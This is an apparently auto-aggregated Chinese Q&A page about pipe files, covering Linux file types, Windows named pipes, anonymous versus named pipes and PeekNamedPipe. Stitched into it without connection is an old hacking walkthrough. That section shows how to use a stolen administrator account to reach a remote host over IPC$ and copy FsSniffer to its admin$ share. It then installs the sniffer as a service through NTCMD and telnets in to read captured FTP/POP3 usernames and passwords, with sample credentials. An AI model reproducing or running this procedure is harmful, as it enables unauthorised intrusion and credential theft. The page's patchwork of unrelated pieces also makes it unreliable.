×

windows管道文件

windows管道文件(管道文件是什么)

admin admin 发表于2023-04-02 00:19:07 浏览50 评论0

抢沙发发表评论

本文目录一览:

linux操作系统文件类型有哪几种

Linux文件类型常见的有:普通文件、目录文件、字符设备文件和块设备文件、符号链接文件等,现在我们进行一个简要的说明。

1、普通文件

我们用

ls

-lh

来查看某个文件的属性,可以看到有类似-rwxrwxrwx,值得注意的是第一个符号是

-

,这样的文件在Linux中就是普通文件。这些文件一般是用一些相关的应用程序创建,比如图像工具、文档工具、归档工具...

....

cp工具等。这类文件的删除方式是用rm

命令。

2、目录文件

当我们在某个目录下执行,看到有类似

drwxr-xr-x

,这样的文件就是目录,目录在Linux是一个比较特殊的文件。注意它的第一个字符是d。创建目录的命令可以用

mkdir

命令,或cp命令,cp可以把一个目录复制为另一个目录。删除用rm

或rmdir命令。

3、字符设备或块设备文件

区块(block)设备文件

:就是一些储存数据,

以提供系统随机存取的接口设备,举例来说,硬盘与软盘等就是啦。

你可以随机的在硬盘的不同区块读写,这种装置就是成组设备。你可以自行查一下/dev/sda看看,

会发现第一个属性为[

b

]。

字符(character)设备文件:亦即是一些串行端口的接口设备,

例如键盘、鼠标等等。这些设备的特色就是一次性读取的,不能够截断输出。

举例来说,你不可能让鼠标跳到另一个画面,而是滑动到另一个地方。第一个属性为

[

c

]。

4.

数据接口文件(sockets):

数据接口文件(或者:套接口文件),这种类型的文件通常被用在网络上的数据承接了。我们可以启动一个程序来监听客户端的要求,

而客户端就可以透过这个socket来进行数据的沟通了。第一个属性为

[

s

],

最常在/var/run这个目录中看到这种文件类型了。

5、符号链接文件:

当我们查看文件属性时,会看到有类似

lrwxrwxrwx,注意第一个字符是l,这类文件是链接文件。是通过ln

-s

源文件名

新文件名创建的。这和Windows操作系统中的快捷方式有点相似。

NTCMD的操作命令是什么?

在WINDOWS NT上实现远程进程间同步的一种方法,Microsoft公司由Win32API为服务器进程和远程客户机上的进程间通讯提供了单向或双向管道。

命名管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。我们在不了解网络协议的情况下,也可以利用命名管道来实现进程间的通信。

1.命名管道充分利用了Windows NT和Windows 2000内建的安全机制。

2.将命名管道作为一种网络编程方案时,它实际上建立了一个客户机/服务器通信体系,并在其中可靠地传输数据。

3.命名管道是围绕Windows文件系统设计的一种机制,采用“命名管道文件系统(Named Pipe File System,NPFS)”接口,因此,客户机和服务器可利用标准的Win32文件系统函数(例如:ReadFile和WriteFile)来进行数据的收发。-windows管道文件

4.命名管道服务器和客户机的区别在于:服务器是唯一一个有权创建命名管道的进程,也只有它才能接受管道客户机的连接请求。而客户机只能同一个现成的命名管道服务器建立连接。

5.命名管道服务器只能在Windows NT或Windows 2000上创建,所以,我们无法在两台Windows 95或Windows 98计算机之间利用管道进行通信。不过,客户机可以是Windows 95或Windows 98计算机,与Windows NT或Windows 2000计算机进行连接通信。-windows管道文件

6.命名管道提供了两种基本通信模式:字节模式和消息模式。在字节模式中,数据以一个连续的字节流的形式,在客户机和服务器之间流动。而在消息模式中,客户机和服务器则通过一系列不连续的数据单位,进行数据的收发,每次在管道上发出了一条消息后,它必须作为一条完整的消息读入。-windows管道文件

FsSniffer只能在Windows 2000中使用,可以捕捉到本机和基于非交换环境局域网的POP3/FTP用户名和密码。

一、本地使用

FSSNIFFER -S Bind IP Port Control Password

Bind IP:指绑定的IP地址,通常就是本地主机IP地址。

Port:控制的端口,以后要通过这个端口登陆上去查看结果。

Control Password:登陆时的密码。

登陆上去后的命令

Show Result:查看捕获的记录

Quit:退出

ShutDown:结束Sniffer的运行

二、远程使用

例如:得到主机211.152.188.1的一个属于管理员组的帐号test:test,首先登录。

D:\net use \\211.152.188.1\ipc$ test /user:test

The command completed successfully.

将fssniffer.exe复制到远程主机。(也可以用流光IV中提供的工具“种植者”来做这件事情)

D:\copy "d:\My Documents\ShadowSniffer\Release\FsSniffer.exe" \\211.152.188.1\

dmin$

1 file(s) copied.

利用流光IV中的NTCMD启动FsSniffer.EXE,并将器安装成为服务

Windows NT/2000 NTCmd Ver 0.1 for Fluxay IV

Written by Assassin,

NTCMDver

Microsoft Windows 2000 [Version 5.00.2195]

NTCMDfssniffer.exe -I test test ShadowSniffer 211.152.188.1 7 123456

Flux Shadow Sniffer(FTP/POP3) Edition, Written by Assassin 2001

TestSniffer1 installed.

NTCMD

这样在远程主机上面安装了一个服务ShadowSniffer。

用net命令启动服务

NTCMDnet start shadowsniffer

The ShadowSniffer service is starting..

The ShadowSniffer service was started successfully.

安装成为服务的格式:

FsSniffer -I Username Password Service Name Bind Local IP Port Control Password

UserName:远程主机的用户名(必须具有超级用户权限)

Passwod:远程主机的密码

Service Name:安装的服务名称,如果安装失败,可以将FsSniffer.exe改名再试。

Bind Local IP:远程主机的IP。某些主机具有两个IP地址,这是就需要根据需要选择监听的IP地址(例如:局域网和外网)

Port:远程控制的端口

Control Password:远程控制的密码

过一段时间就可以登陆到FsSniffer开的端口7上面,查看结果了。

D:telnet 211.152.188.1 7

Control Password: **************

Banyet Soft Labs. 1995-2001 All Rights Reserved.

Written by Assassin, Server Edition FluxShadow@21cn.com

FluxShadow Remote FTP/POP3 Sniffer Beta 1, Pleased to See You Again!

Flux Shadow Sniffershow result

Flux Shadow Sniffer Edition Results

211.152.188.112(1106)-211.152.188.1(8213) USER zjf

211.152.188.112(1106)-211.152.188.1(8213) PASS 1qaz4rfv

211.152.188.1(8213)-211.152.188.112(1106) User zjf logged in.

211.152.188.1(8199)-211.152.188.112(1107) USER zjf

211.152.188.1(8199)-211.152.188.112(1107) PASS 1qaz4rfv

Total 10 Sniffered

有名管道和无名管道的区别

无名管道和有名管道是Linux系统内核的特殊文件,用于进程之间的通信。

无名管道相当于一个队列结构,fd[1]为写入端(入队),fd[0]为读出端(出队)。其中信息读出后即删除,再次读取时即为下一个信息。

相关函数:[1]

函数形式:intpipe(int fd[2])

功能:创建无名管道文件。无名管道是一个特殊文件,不可由open函数创建。

参数:fd[2]有两个成员 fd[0]和 fd[1],他们都是文件描述符。 管道有固定的读端 fd[0]和固定的写端 fd[1]。

返回值:成功返回 0,出错返回-1。

说明:

1.管道是创建在内存中,进程结束空间释放,管道不复存在。

2.无名管道和有名管道都是半双工通信,实现双向通信需要建立两个管道。

3.无名管道是linux特殊文件,不能在与windows共享的文件夹中创建。

4.无名管道只用于父子进程之间,有名管道可用于无亲缘关系的进程之间。

怎么解决windows下管道阻塞的问题

使用PeekNamedPipe查询管道内的数据,有则读取,没有则不读。主要是防止ReadFile堵塞。